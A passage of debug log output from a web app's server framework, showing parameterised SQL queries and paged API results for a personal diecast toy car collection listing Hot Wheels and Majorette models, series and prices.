  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T11:05:11.954Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:05:11.954Z server-connect:app Executing action step identify
2026-02-04T11:05:11.955Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:11.955Z server-connect:output identity: 1
2026-02-04T11:05:11.955Z server-connect:app Executing action step restrict
2026-02-04T11:05:11.955Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:11.956Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:05:11.956Z server-connect:app Executing action step identify
2026-02-04T11:05:11.956Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:11.956Z server-connect:output identity: 1
2026-02-04T11:05:11.956Z server-connect:app Executing action step restrict
2026-02-04T11:05:11.956Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:11.956Z server-connect:output restrict: undefined
2026-02-04T11:05:11.957Z server-connect:app Executing action step paged
2026-02-04T11:05:11.957Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:05:11.958Z server-connect:output restrict: undefined
2026-02-04T11:05:11.958Z server-connect:app Executing action step select
2026-02-04T11:05:11.958Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:05:11.958Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:05:11.959Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T11:05:11.960Z server-connect:app Executing action step identify
2026-02-04T11:05:11.960Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:11.960Z server-connect:output identity: 1
2026-02-04T11:05:11.960Z server-connect:app Executing action step restrict
2026-02-04T11:05:11.960Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:11.960Z server-connect:output restrict: undefined
2026-02-04T11:05:11.960Z server-connect:app Executing action step select
2026-02-04T11:05:11.960Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:05:11.961Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:05:11.961Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:05:11.962Z server-connect:app Executing action step select
2026-02-04T11:05:11.962Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:05:11.962Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:05:11.962Z server-connect:app Executing action step select
2026-02-04T11:05:11.962Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:05:11.963Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:05:15.334Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:05:15.334Z server-connect:app Executing action step identify
2026-02-04T11:05:15.334Z server-connect:app options: { provider: 'security' }
2026-02-04T11:05:15.334Z server-connect:output identity: 1
2026-02-04T11:05:15.334Z server-connect:app Executing action step restrict
2026-02-04T11:05:15.334Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:05:15.335Z server-connect:output restrict: undefined
2026-02-04T11:05:15.335Z server-connect:app Executing action step paged
2026-02-04T11:05:15.335Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:05:15.338Z server-connect:output list: {
  offset: 25,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 2,
    total: 2
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
